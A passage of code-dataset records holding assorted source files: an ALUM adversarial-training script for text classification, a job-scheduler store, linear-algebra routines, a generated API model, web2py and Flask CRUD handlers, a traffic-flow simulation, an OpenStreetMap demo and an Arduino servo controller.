\"\"\"Reads a json list file.\"\"\"\r\n with open(input_file, \"r\", encoding=\"utf-8-sig\") as f:\r\n reader = csv.reader(f, delimiter=\"\\t\", quotechar=None)\r\n lines = []\r\n for line in reader:\r\n lines.append(line)\r\n return lines\r\n\r\n def create_examples(self, lines, set_type):\r\n \"\"\"Creates examples for the training and dev sets.\"\"\"\r\n examples = []\r\n for (i, line) in enumerate(lines):\r\n guid = \"%s-%s\" % (set_type, i)\r\n text_a = line[3] if set_type != 'test' else line[1]\r\n label = line[1] if set_type != 'test' else None\r\n examples.append(\r\n InputExample(guid=guid, texts=[text_a,None], label=label))\r\n return examples\r\n\r\n\r\nclass AlumTrainer(TextClassifierTrainer):\r\n def __init__(self, args, metrics, logger, batch_input_keys,collate_fn=None):\r\n super().__init__(args=args,\r\n metrics=metrics,\r\n logger=logger,\r\n batch_input_keys=batch_input_keys,\r\n collate_fn=collate_fn)\r\n\r\n def _train_step(self, model, batch, optimizer):\r\n model.train()\r\n inputs = self.build_inputs(batch)\r\n outputs = model(**inputs)\r\n loss, logits = outputs[:2]\r\n if isinstance(model, torch.nn.DataParallel):\r\n embeds_init = model.module.bert.embeddings.word_embeddings(inputs['input_ids'])\r\n else:\r\n embeds_init = model.bert.embeddings.word_embeddings(inputs[\"input_ids\"])\r\n input_mask = inputs['attention_mask'].to(embeds_init)\r\n delta = torch.zeros_like(embeds_init).normal_(0, 1) * self.args.adv_var * input_mask.unsqueeze(2)\r\n for astep in range(self.args.adv_K):\r\n delta.requires_grad_()\r\n inputs['inputs_embeds'] = delta + embeds_init\r\n inputs['input_ids'] = None\r\n adv_outputs = model(**inputs)\r\n adv_logits = adv_outputs[1] # model outputs are always tuple in transformers (see doc)\r\n\r\n adv_loss = kl(adv_logits, logits.detach())\r\n delta_grad, = torch.autograd.grad(adv_loss, delta, only_inputs=True)\r\n adv_direct = adv_project(delta_grad, norm_type=self.args.adv_norm_type, eps=self.args.adv_gamma)\r\n\r\n inputs['inputs_embeds'] = embeds_init + adv_direct * self.args.adv_lr\r\n outputs = model(**inputs)\r\n adv_loss_f = kl(outputs[1], logits.detach())\r\n adv_loss_b = kl(logits, outputs[1].detach())\r\n adv_loss = (adv_loss_f + adv_loss_b) * self.args.adv_alpha\r\n loss = loss + adv_loss\r\n if self.args.n_gpu > 1:\r\n loss = loss.mean() # mean() to average on multi-gpu parallel training\r\n if self.args.gradient_accumulation_steps > 1:\r\n loss = loss / self.args.gradient_accumulation_steps\r\n loss.backward()\r\n if isinstance(model, torch.nn.DataParallel):\r\n embeds_init = model.module.bert.embeddings.word_embeddings(batch[0])\r\n else:\r\n embeds_init = model.bert.embeddings.word_embeddings(batch[0])\r\n return loss.item()\r\n\r\n\r\ndef main():\r\n parser = build_argparse()\r\n parser.add_argument('--adv_lr', type=float, default=1e-3)\r\n parser.add_argument('--adv_K', type=int, default=1)\r\n parser.add_argument('--adv_alpha', default=1.0, type=float)\r\n parser.add_argument('--adv_var', default=1e-5, type=float)\r\n parser.add_argument('--adv_gamma', default=1e-6, type=float)\r\n parser.add_argument('--adv_norm_type', type=str, default=\"inf\", choices=[\"l2\", 'l1', \"inf\"])\r\n parser.add_argument('--hidden_dropout_prob', type=float, default=0.1)\r\n parser.add_argument('--attention_probs_dropout_prob', type=float, default=0)\r\n args = parser.parse_args()\r\n\r\n if args.model_name is None:\r\n args.model_name = args.model_path.split(\"/\")[-1]\r\n args.output_dir = args.output_dir + '{}'.format(args.model_name)\r\n os.makedirs(args.output_dir, exist_ok=True)\r\n prefix = \"_\".join([args.model_name, args.task_name])\r\n logger = TrainLogger(log_dir=args.output_dir, prefix=prefix)\r\n\r\n logger.info(\"initializing device\")\r\n args.device, args.n_gpu = prepare_device(args.gpu, args.local_rank)\r\n seed_everything(args.seed)\r\n args.model_type = args.model_type.lower()\r\n config_class, model_class, tokenizer_class = MODEL_CLASSES[args.model_type]\r\n\r\n logger.info(\"initializing data processor\")\r\n tokenizer = tokenizer_class.from_pretrained(args.model_path, do_lower_case=args.do_lower_case)\r\n processor = ColaProcessor(tokenizer, args.data_dir, logger, prefix=prefix)\r\n label_list = processor.get_labels()\r\n num_labels = len(label_list)\r\n args.num_labels = num_labels\r\n\r\n logger.info(\"initializing model and config\")\r\n config = config_class.from_pretrained(args.model_path,\r\n num_labels=num_labels,\r\n attention_probs_dropout_prob=args.attention_probs_dropout_prob,\r\n hidden_dropout_prob=args.hidden_dropout_prob,\r\n cache_dir=args.cache_dir if args.cache_dir else None)\r\n model = model_class.from_pretrained(args.model_path, config=config)\r\n model.to(args.device)\r\n\r\n\r\n logger.info(\"initializing traniner\")\r\n trainer = AlumTrainer(logger=logger,\r\n args=args,\r\n batch_input_keys=processor.get_batch_keys(),\r\n collate_fn=processor.collate_fn,\r\n metrics=[MattewsCorrcoef()])\r\n if args.do_train:\r\n train_dataset = processor.create_dataset(max_seq_length=args.train_max_seq_length,\r\n data_name='train.tsv', mode='train')\r\n eval_dataset = processor.create_dataset(max_seq_length=args.eval_max_seq_length,\r\n data_name='dev.tsv', mode='dev')\r\n trainer.train(model, train_dataset=train_dataset, eval_dataset=eval_dataset)\r\n\r\n if args.do_eval and args.local_rank in [-1, 0]:\r\n results = {}\r\n eval_dataset = processor.create_dataset(max_seq_length=args.eval_max_seq_length,\r\n data_name='dev.tsv', mode='dev')\r\n checkpoints = [args.output_dir]\r\n if args.eval_all_checkpoints or args.checkpoint_number > 0:\r\n checkpoints = get_checkpoints(args.output_dir, args.checkpoint_number, WEIGHTS_NAME)\r\n logger.info(\"Evaluate the following checkpoints: %s\", checkpoints)\r\n for checkpoint in checkpoints:\r\n global_step = checkpoint.split(\"/\")[-1].split(\"-\")[-1]\r\n model = model_class.from_pretrained(checkpoint, config=config)\r\n model.to(args.device)\r\n trainer.evaluate(model, eval_dataset, save_preds=True, prefix=str(global_step))\r\n if global_step:\r\n result = {\"{}_{}\".format(global_step, k): v for k, v in trainer.records['result'].items()}\r\n results.update(result)\r\n output_eval_file = os.path.join(args.output_dir, \"eval_results.txt\")\r\n dict_to_text(output_eval_file, results)\r\n\r\n if args.do_predict:\r\n test_dataset = processor.create_dataset(max_seq_length=args.eval_max_seq_length,\r\n data_name='test.tsv', mode='test')\r\n if args.checkpoint_number == 0:\r\n raise ValueError(\"checkpoint number should > 0,but get %d\", args.checkpoint_number)\r\n checkpoints = get_checkpoints(args.output_dir, args.checkpoint_number, WEIGHTS_NAME)\r\n for checkpoint in checkpoints:\r\n global_step = checkpoint.split(\"/\")[-1].split(\"-\")[-1]\r\n model = model_class.from_pretrained(checkpoint)\r\n model.to(args.device)\r\n trainer.predict(model, test_dataset=test_dataset, prefix=str(global_step))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"examples/task_text_classification_alum_cola.py","file_name":"task_text_classification_alum_cola.py","file_ext":"py","file_size_in_byte":9419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"200413950","text":"import datetime\nimport uuid\nfrom .task import Task\nfrom .state import *\n\n\n\nclass Storage:\n def __init__(self):\n self.agents = {}\n self.tasks = {}\n\n def reg_hb(self,**kwargs):\n id = kwargs['id']\n agent = self.agents.get(id)\n if not agent:\n agent ={}\n agent['timestamp'] = datetime.datetime.now().timestamp()\n agent['busy'] = False\n agent['info'] = kwargs\n self.agents[id] = agent\n\n def add_task(self, task:dict):\n task['task_id'] = uuid.uuid4().hex\n task = Task(**task)\n self.tasks[task.id] = task\n return task.id\n\n def get_agent(self):\n return list(self.agents.keys())\n\n def iter_task(self, states={WATTING,RUNNING}):\n yield from (task for task in self.tasks.values() if task.state in states)\n\n def get_task(self,agent_id):\n for task in self.iter_task():\n if agent_id in task.targets:\n if task.state == WATTING:\n task.state = RUNNING\n\n task.targets[agent_id]['state'] = RUNNING\n return [task.id, task.script, task.timeout]\n\n def result(self,msg:dict):\n task = self.tasks[msg['id']]\n agent = task.targets[msg['agent_id']]\n agent['state'] = SUCCEED if msg['code'] ==0 else FAILED\n\n\n\n\n\n\n\n\n","sub_path":"scheduler/service/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"594524867","text":"\n'''\nmodule: _linalg3.py\nauthor: Luis Paris\ndescription:\n- formulas from Chapra's numerical methods textbook\n- chapters on linear algebraic equations\n- implemented from algorithms/pseudocode provided\n- reuses/shares functions needed for gauss elim and LU decomp\n'''\n\nimport numpy as np\n\ndef scale(A): #compute scale vector (max absolute elem in each row)\n n = len(A)\n s = np.empty(n)\n for i in range(n):\n s[i] = max(abs(A[i,:])) #added (get max absolute elem on ith row)\n #s[i] = abs(A[i,0]) #removed\n #for j in range(1, n): #removed\n # if abs(A[i,j]) > s[i]: #removed\n # s[i] = abs(A[i,j]) #removed\n return s\n#end scale()\n\ndef pivot(A, k, o, s, b=None):\n n = len(A)\n p = k\n big = abs(A[o[k],k] / s[o[k]])\n for i in range(k+1, n):\n num = abs(A[o[i],k] / s[o[i]])\n if num > big:\n big = num\n p = i\n if p != k:\n o[k],o[p] = o[p],o[k] #added (swap row indexes - FASTER!)\n #for j in range(k, n): #removed\n # A[p,j], A[k,j] = A[k,j], A[p,j] #removed\n #b[p], b[k] = b[k], b[p] #removed\n #s[p], s[k] = s[k], s[p] #removed\n#end pivot()\n\ndef elim(A, o, s, tol=1e-5, b=None):\n n = len(A)\n if b is None:\n L = np.identity(n)\n for k in range(n-1):\n pivot(A, k, o, s)\n if abs(A[o[k],k] / s[k]) < tol:\n return -1\n for i in range(k+1, n):\n factor = A[o[i],k] / A[o[k],k]\n if b is None:\n #A[o[i],k] = factor #added (in place)\n A[o[i],k] = 0 #added (separate)\n L[i,k] = factor #added (separate)\n for j in range(k+1, n):\n A[o[i],j] -= factor * A[o[k],j]\n if b is not None: b[o[i]] -= factor * b[o[k]] #removed\n return -1 if abs(A[o[n-1],n-1] / s[o[n-1]]) < tol else 0, L if b is None else None\n#end elim()\n\ndef subst(A, b, o=None, dir=\"bwd\"): #performs backward (default) or forward substitution\n n = len(A) #dir=\"bwd\" (backward); or dir=\"fwd\" (forward)\n x = np.zeros(n)\n fwd = (dir != \"bwd\")\n k = 0 if fwd else n-1\n if o is None: o = range(n)\n x[k] = b[o[k]] / A[o[k],k]\n for i in range(1, n) if fwd else range(n-2, -1, -1):\n sum = 0\n for j in range(i-1, -1, -1) if fwd else range(i+1, n):\n sum += A[o[i],j] * x[j]\n x[i] = (b[o[i]] - sum) / A[o[i],i] #correct\n return x\n#end subst()\n\n#Gauss elimination method w/ scaling and partial pivoting\ndef gauss(A, b, tol=1e-5):\n n = len(A)\n A_ = np.array(A, dtype=float)\n b_ = np.array(b, dtype=float)\n o = list(range(n)) #[0, 1, 2, ..., n-1]\n s = scale(A_)\n err, _ = elim(A_, o, s, tol, b_)\n return subst(A_, b_, o) if not err else None\n#gauss()\n\n#LU decomposition method w/ scaling and partial pivoting\ndef decompLU(A, tol=1e-5):\n n = len(A)\n U = np.array(A, dtype=float)\n o = list(range(n)) #[0, 1, 2, ..., n-1]\n s = scale(U)\n err, L = elim(U, o, s, tol)\n return (L, U[o], o) if not err else None\n#decompLU()\n","sub_path":"_linalg3.py","file_name":"_linalg3.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"413058476","text":"# coding: utf-8\n\n\"\"\"\n Memsource REST API\n\n Welcome to Memsource's API documentation. To view our legacy APIs please [visit our documentation](https://wiki.memsource.com/wiki/Memsource_API) and for more information about our new APIs, [visit our blog](https://www.memsource.com/blog/2017/10/24/introducing-rest-apis-qa-with-the-memsource-api-team/). If you have any questions, please contact [Memsource Support](). # noqa: E501\n\n OpenAPI spec version: Latest\n \n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\n\nclass Response(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'context': 'dict(str, object)',\n 'done': 'bool',\n 'cancelled': 'bool'\n }\n\n attribute_map = {\n 'context': 'context',\n 'done': 'done',\n 'cancelled': 'cancelled'\n }\n\n def __init__(self, context=None, done=None, cancelled=None): # noqa: E501\n \"\"\"Response - a model defined in Swagger\"\"\" # noqa: E501\n\n self._context = None\n self._done = None\n self._cancelled = None\n self.discriminator = None\n\n if context is not None:\n self.context = context\n if done is not None:\n self.done = done\n if cancelled is not None:\n self.cancelled = cancelled\n\n @property\n def context(self):\n \"\"\"Gets the context of this Response. # noqa: E501\n\n\n :return: The context of this Response. # noqa: E501\n :rtype: dict(str, object)\n \"\"\"\n return self._context\n\n @context.setter\n def context(self, context):\n \"\"\"Sets the context of this Response.\n\n\n :param context: The context of this Response. # noqa: E501\n :type: dict(str, object)\n \"\"\"\n\n self._context = context\n\n @property\n def done(self):\n \"\"\"Gets the done of this Response. # noqa: E501\n\n\n :return: The done of this Response. # noqa: E501\n :rtype: bool\n \"\"\"\n return self._done\n\n @done.setter\n def done(self, done):\n \"\"\"Sets the done of this Response.\n\n\n :param done: The done of this Response. # noqa: E501\n :type: bool\n \"\"\"\n\n self._done = done\n\n @property\n def cancelled(self):\n \"\"\"Gets the cancelled of this Response. # noqa: E501\n\n\n :return: The cancelled of this Response. # noqa: E501\n :rtype: bool\n \"\"\"\n return self._cancelled\n\n @cancelled.setter\n def cancelled(self, cancelled):\n \"\"\"Sets the cancelled of this Response.\n\n\n :param cancelled: The cancelled of this Response. # noqa: E501\n :type: bool\n \"\"\"\n\n self._cancelled = cancelled\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n if issubclass(Response, dict):\n for key, value in self.items():\n result[key] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, Response):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"memsource_cli/models/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":4629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"149765510","text":"def novo_filme():\n form = SQLFORM(Filmes)\n if form.process().accepted:\n session.flash = 'Novo filme cadastrado: %s' % form.vars.titulo\n redirect(URL('novo_filme'))\n elif form.errors:\n response.flash = 'Erros no formulário!'\n else:\n response.flash = 'Preencha o formulário!'\n return dict(form=form)\n\ndef editar_filmes():\n form = SQLFORM(Filmes, request.args(0,cast=int))\n if form.process().accepted:\n session.flash = 'Filme atualizado: %s' % form.vars.titulo\n redirect(URL('editar_filmes'))\n elif form.errors:\n response.flash = 'Erros no formulário!'\n else:\n response.flash = 'Preencha o formulário!'\n return dict(form=form)\n\ndef apagar_filme():\n db(Filmes.id==request.args(0, cast=int)).delete()\n session.flash = 'Filme apagado!'\n redirect(URL('ver_filmes'))\n\ndef ver_filmes():\n grid = SQLFORM.grid(Filmes)\n return dict(grid=grid)\n","sub_path":"controllers/filmes.py","file_name":"filmes.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"513090941","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport math\nfrom random import uniform\n\n#########################################################\n################## Paramétrisation ######################\n#########################################################\n\ndef rho_0(x,type=\"creneau\"): # créneau sur [0.1;0.2]\n if type == \"creneau\":\n if x < 0.3 and x> 0.1 : \n return 0.5\n else :\n return 0\n if type == \"constante\":\n return 0.5\n if type == \"parabole\":\n if x<1:\n return 10*x*(1-x)\n else:\n return 0\n\ndef f(rho):\n return rho*(1-rho)\n\ndef f_prime(rho):\n return 1 - 2*rho\n\ndef V(Vmax,x):\n return Vmax*max([0,0.5-x])\n\nroad_length = 0.5\nsimu_duration = 10 \n\n#########################################################\n###################### Schémas ##########################\n#########################################################\n\ndef schemas_couplage(mailles, CI, type, N, dt, Vmax, pause):\n dx = road_length/(N+1)\n l = dx/2 # taille d'une voiture\n sommets = np.zeros(N+1)\n for i in range (0,N+1):\n sommets[i] = dx/2 + i*dx # coordonnées xi+1/2 des extrémités des mailles\n centres = 0.5*(sommets[:-1] + sommets[1:]) # les coordonnées xi des centres des mailles\n #centres.append((sommets[0] + 1 - sommets[N])/2)\n Y = [0 for i in range(N)]\n T = simu_duration/dt\n U = [0 for i in range(0,N)]\n if mailles == \"fixes\":\n sigma = [0 for i in range(0,N+1)] # convention i + 1/2\n if mailles == \"alea\": \n sigma = [0 for i in range(0,N+1)]\n for i in range (1,N):\n sigma[i] = uniform(0,V(Vmax,U[i]))\n sigma[0] = 0\n sigma[N] = 0\n dt = CFL(U, sommets,sigma,l) \n if mailles == \"FTL\":\n sigma = [0 for i in range(0,N+1)]\n for i in range (1,N):\n sigma[i] = V(Vmax,l/(centres[i]-centres[i-1]))\n sigma[0] = 0\n sigma[N] = 0\n dt = CFL(U, sommets,sigma,l) \n\n G = [0 for i in range(0,N+1)]\n for i in range (0,N):\n U[i] = rho_0(centres[i],CI)\n t=0\n plt.figure(1)\n plt.clf()\n plt.plot(centres,U)\n plt.plot(centres, Y, \"og\")\n plt.pause(pause)\n\n if t==0:\n old_choc = 0.3\n\n while t < T :\n if mailles == \"alea\":\n for i in range (1,N):\n sigma[i] = uniform(0,V(Vmax,U[i]))\n sigma[0] = 0\n sigma[N] = 0\n dt = CFL(U, sommets,sigma,l)\n #print(dt)\n if mailles == \"FTL\":\n for i in range (1,N):\n sigma[i] = V(Vmax,l/(centres[i]-centres[i-1])) \n if sommets[0] + sommets[N] > 1:\n centre_N = centres[0] + centres[N-1] - 1 # on crée artificiellement un centre en x0 et xN\n sigma[0] = V(Vmax,l/(centres[0] - centre_N))\n #print(sigma[0])\n sigma[N] = V(Vmax,l/(1 + centre_N - centres[N-1])) \n #print(sigma[N])\n else : \n centre_N = centres[0] + centres[N-1]\n sigma[0] = V(Vmax,l/(centres[0] - (1 - centre_N)))\n #print(sigma[0])\n sigma[N] = V(Vmax,l/(centre_N - centres[N-1])) \n #print(sigma[N])\n dt = CFL(U, sommets,sigma,l)\n #print(dt)\n\n for i in range (0,N+1):\n sommets[i] = sommets[i] + dt*sigma[i]\n\n if sommets[N] > 1 : \n to_insert = sommets[N]\n sommets = np.delete(sommets,N)\n sommets = np.insert(sommets, 0, 0)\n\n centres = 0.5*(sommets[:-1] + sommets[1:])\n\n # Calcul de la vitesse du choc\n new_choc = centres[point_choc(centres, U)]\n #print(new_choc)\n print((new_choc-old_choc)/dt)\n old_choc = new_choc\n\n Uold = U\n if type == \"upwind\":\n for i in range (1,N): # convention i + 1/2\n if (f_prime((Uold[i]+Uold[i-1])/2) - sigma[i]) >= 0:\n G[i] = f(Uold[i-1]) - sigma[i-1]*Uold[i-1]\n else: \n G[i] = f(Uold[i]) - sigma[i]*Uold[i]\n if (f_prime((Uold[0]+Uold[N-1])/2) - sigma[0]) >= 0:\n G[0] = f(Uold[N-1]) - sigma[N-1]*Uold[N-1]\n else: \n G[0] = f(Uold[0]) - sigma[0]*Uold[0]\n G[N] = G[0] # conditions périodiques\n for i in range (0,N):\n U[i] = ((sommets[i+1]-sommets[i])*Uold[i] - dt*(G[i+1]-G[i]))/(sommets[i+1]-sommets[i] + (sigma[i+1]-sigma[i])*dt)\n t = t + dt\n #print(U)\n plt.figure(1)\n plt.clf()\n plt.plot(centres,U)\n plt.plot(centres, Y, \"og\")\n plt.pause(pause)\n\ndef CFL(U, sommets, sigma, l):\n # La condition CFL qui doit être vérifiée est : \n # dt(sigma[i]-sigma[i+1]) < sommets[i+1] - sommets[i] - l où l est la taille d'un véhicule. On choisira de prendre dt = contrainte/2\n # cette contrainte n'a du sens que si sigma[i] > sigma[i+1], autrement il n'y a pas de contrainte sur dt causée par les sigma, et on prent dt = dx/2 \n\n # Cette fonction renvoie le dt à utiliser pour chaque nouvelle itération\n\n dt_list = []\n for i in range (0,len(sommets)-2):\n if sigma[i] > sigma[i+1] :\n dt_list.append((sommets[i+1]-sommets[i]-l)/(2*(sigma[i]-sigma[i+1]))) # on pourrait aussi ne pas diviser par 2, à tester\n else:\n dt_list.append((sommets[i+1]-sommets[i])/2)\n #dt_list.append((sommets[i+1]-sommets[i])*f_prime(U[i])) # ça fait des dt trop petit... vraiment ça la condition ?\n return min(dt_list)\n\ndef verif_entropic(x1,x2): \n # x1 et x2 sont les coordonnées des chocs (dans le cas d'un créneau) où x2 > x1\n if (f(rho_0(x2,\"creneau\"))-f(rho_0(x1,\"creneau\")))/(rho_0(x2,\"creneau\")-rho_0(x1,\"creneau\")) < f_prime(rho_0(x2,\"creneau\")) and (f(rho_0(x2,\"creneau\"))-f(rho_0(x1,\"creneau\")))/(rho_0(x2,\"creneau\")-rho_0(x1,\"creneau\")) > f_prime(rho_0(x1,\"creneau\")) : \n return \"L'équation admet une solution entropique\"\n else : \n return \"L'équation n'admet pas de solution entropique\"\n\ndef point_choc(centres,U):\n # on parcourt la liste des U[i] pour voir où la dérivée est la plus grande\n # on suit la vitesse de ce point donné\n derive = []\n i = 0\n while i/places', strict_slashes=False)\ndef display_places(city_id):\n \"\"\"display the places of a city\"\"\"\n try:\n cities = storage.get(City, city_id)\n if cities is None:\n abort(404)\n places_list = []\n all_places = storage.all(Place)\n for place in all_places.values():\n if place.city_id == city_id:\n places_list.append(place.to_dict())\n return jsonify(places_list)\n except:\n abort(404)\n\n\n@app_views.route('/places/', strict_slashes=False)\ndef display_place(place_id):\n \"\"\"display a place\"\"\"\n try:\n place = storage.get(Place, place_id)\n if place is None:\n abort(404)\n return jsonify(place.to_dict())\n except:\n abort(404)\n\n\n@app_views.route(\n '/places/',\n methods=['DELETE'],\n strict_slashes=False)\ndef delete_place(place_id):\n \"\"\" Deletes a place \"\"\"\n try:\n place = storage.get(Place, place_id)\n if place is None:\n abort(404)\n storage.delete(place)\n storage.save()\n return jsonify({}), 200\n except:\n abort(404)\n\n\n@app_views.route(\n '/cities//places',\n methods=['POST'],\n strict_slashes=False)\ndef post_place(city_id):\n \"\"\" Create new place \"\"\"\n try:\n if storage.get(City, city_id) is None:\n abort(404)\n if not request.get_json():\n return jsonify({'error': 'Not a JSON'}), 400\n if 'user_id' not in list(request.get_json().keys()):\n return jsonify({'error': 'Missing user_id'}), 400\n if 'name' not in list(request.get_json().keys()):\n return jsonify({'error': 'Missing name'}), 400\n request_place = request.get_json().copy()\n user = storage.get(User, request_place['user_id'])\n if user is None:\n abort(404)\n request_place['city_id'] = city_id\n place = Place(**request_place)\n place.save()\n return jsonify(place.to_dict()), 201\n except:\n abort(404)\n\n\n@app_views.route('/places/', methods=['PUT'], strict_slashes=False)\ndef put_place(place_id):\n \"\"\" update place with specified id \"\"\"\n try:\n place = storage.get(Place, place_id)\n if place is None:\n abort(404)\n if not request.get_json():\n return jsonify({'error': 'Not a JSON'}), 400\n att_check = ['id', 'user_id', 'city_id', 'created_at', 'updated_at']\n for key, value in request.get_json().items():\n if key not in att_check:\n setattr(place, key, value)\n place.save()\n return jsonify(place.to_dict()), 200\n except:\n abort(404)\n","sub_path":"api/v1/views/places.py","file_name":"places.py","file_ext":"py","file_size_in_byte":2984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"511521124","text":"'''\n Simple demo that search street\n'''\n\nimport osmium as o\nimport sys\n\nif o:\n print('Success to load osmium!\\n')\nelse:\n print('Failed to load osmium\\n')\n\n\nclass RoadLengthHandler(o.SimpleHandler):\n def __init__(self):\n o.SimpleHandler.__init__(self)\n self.length = 0\n\n def way(self, w):\n # self.get_street(w.tags)\n if 'name' in w.tags and w.tags['name'] == 'Marcy Avenue':\n print('Marcy Avenue\\n')\n try:\n self.length += o.geom.haversine_distance(w.nodes)\n except o.InvalidLocationError:\n # A location error might occur if the osm file is an extract\n # where nodes of ways near the boundary are missing.\n print(\"WARNING: way %d incomplete. Ignoring.\" % w.id)\n\ndef main(osmfile):\n infoHandler = RoadLengthHandler()\n infoHandler.apply_file(osmfile)\n print(infoHandler.length)\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n print('Usage: python %s ' % sys.argv[0])\n sys.exit(-1)\n\n exit(main(sys.argv[1]))\n","sub_path":"demo/04-road-length.py","file_name":"04-road-length.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"545236956","text":"#!/usr/bin/env python2\n\nimport argparse\nimport logging\nimport sys\nfrom logging import error\nfrom logging import info\nfrom threading import Thread\n\nimport calibrate_servo\nfrom common_constants import LOGGING_ARGS\nfrom common_utils import is_windows\nfrom firmata_servo import FirmataServo\nfrom location_client import LocationClient\nfrom pyfirmata import Arduino\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-s\", \"--serial\", default=\"ttyACM0\", type=str,\n help=\"Arduino serial port [ttyACM0] (OSX is cu.usbmodemXXXX)\")\n parser.add_argument(\"-g\", \"--grpc\", required=True, help=\"gRPC location server hostname\")\n parser.add_argument(\"-a\", \"--alternate\", default=False, action=\"store_true\", help=\"Alternate servo actions [false]\")\n parser.add_argument(\"-x\", \"--xservo\", default=5, type=int, help=\"X servo PWM pin [5]\")\n parser.add_argument(\"-y\", \"--yservo\", default=6, type=int, help=\"Y servo PWM pin [6]\")\n parser.add_argument(\"-c\", \"--calib\", default=False, action=\"store_true\", help=\"Calibration mode [false]\")\n parser.add_argument(\"-v\", \"--verbose\", default=logging.INFO, help=\"Include debugging info\",\n action=\"store_const\", dest=\"loglevel\", const=logging.DEBUG)\n args = vars(parser.parse_args())\n alternate = args[\"alternate\"]\n calib = args[\"calib\"]\n xservo = args[\"xservo\"]\n yservo = args[\"yservo\"]\n\n logging.basicConfig(**LOGGING_ARGS)\n\n # Setup firmata client\n port = (\"\" if is_windows() else \"/dev/\") + args[\"serial\"]\n try:\n board = Arduino(port)\n info(\"Connected to Arduino at: {0}\".format(port))\n except OSError as e:\n error(\"Failed to connect to Arduino at {0} - [{1}]\".format(port, e))\n sys.exit(0)\n\n locations = LocationClient(args[\"grpc\"]).start()\n\n # Create servos\n servo_x = FirmataServo(\"Pan\", alternate, board, \"d:{0}:s\".format(xservo), 1.0, 8)\n servo_y = FirmataServo(\"Tilt\", alternate, board, \"d:{0}:s\".format(yservo), 1.0, 8)\n\n try:\n if calib:\n try:\n calib_t = Thread(target=calibrate_servo.calibrate, args=(locations, servo_x, servo_y))\n calib_t.start()\n calib_t.join()\n except KeyboardInterrupt:\n pass\n else:\n if alternate:\n # Set servo X to go first\n servo_x.ready_event.set()\n try:\n servo_x.start(True, lambda: locations.get_x(), servo_y.ready_event if not calib else None)\n servo_y.start(False, lambda: locations.get_y(), servo_x.ready_event if not calib else None)\n servo_x.join()\n servo_y.join()\n except KeyboardInterrupt:\n pass\n finally:\n servo_x.stop()\n servo_y.stop()\n finally:\n board.exit()\n locations.stop()\n\n info(\"Exiting...\")\n","sub_path":"firmata_controller.py","file_name":"firmata_controller.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"577654191","text":"##\n# Client\n#\n\nimport requests\nimport time\n\ndef getMessageBroker():\n r = requests.get('http://localhost:8080/messagebroker')\n print(r.text)\n\n\nif __name__ == \"__main__\":\n deviceID=-1\n while True:\n print(\"Client is running\")\n if (deviceID==-1):\n payload = {'resources': ['temp'],'rest':'','mqtt':''}\n r = requests.post('http://localhost:8080/devices/new', data=payload)\n deviceID = int(r.text)\n print(f\"deviceID: {deviceID}\")\n else:\n r = requests.post(f\"http://localhost:8080/devices/{deviceID}\")\n print(\"Device updated!\")\n time.sleep(20)\n\n ","sub_path":"Laboratorio-02-SW/Es03/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"275803789","text":"# 4. Wyobraźmy sobie robota, który może poruszać się naprzód i obracać w lewo lub prawo o 90 stopni.\n# \tNapisz klasę Robot, która będzie przechowywała informację o położeniu robota na płaszczyźnie (2 liczby całkowite) oraz\n# \tkierumku w jakim jest zwrócony (N - północ, S - południe, E - wschód, W - zachód).\n# \tKlasa powinna udostępniać metody:\n# \t\t- wypisz() - wypisuje położenie i zwrot robota,\n# \t\t- lewo() - zmienia kierunek, w którym zwrócony jest Robot o 90 stopni w kierunku przeciwnym do ruchu wskazówek zegara (np. N zamieniamy na W),\n# \t\t- prawo() - zmienia kierunek, w którym zwrócony jest Robot o 90 stopni w kierunku zgodnym z ruchem wskazówek zegara (np. N zamieniamy na E),\n# \t\t- 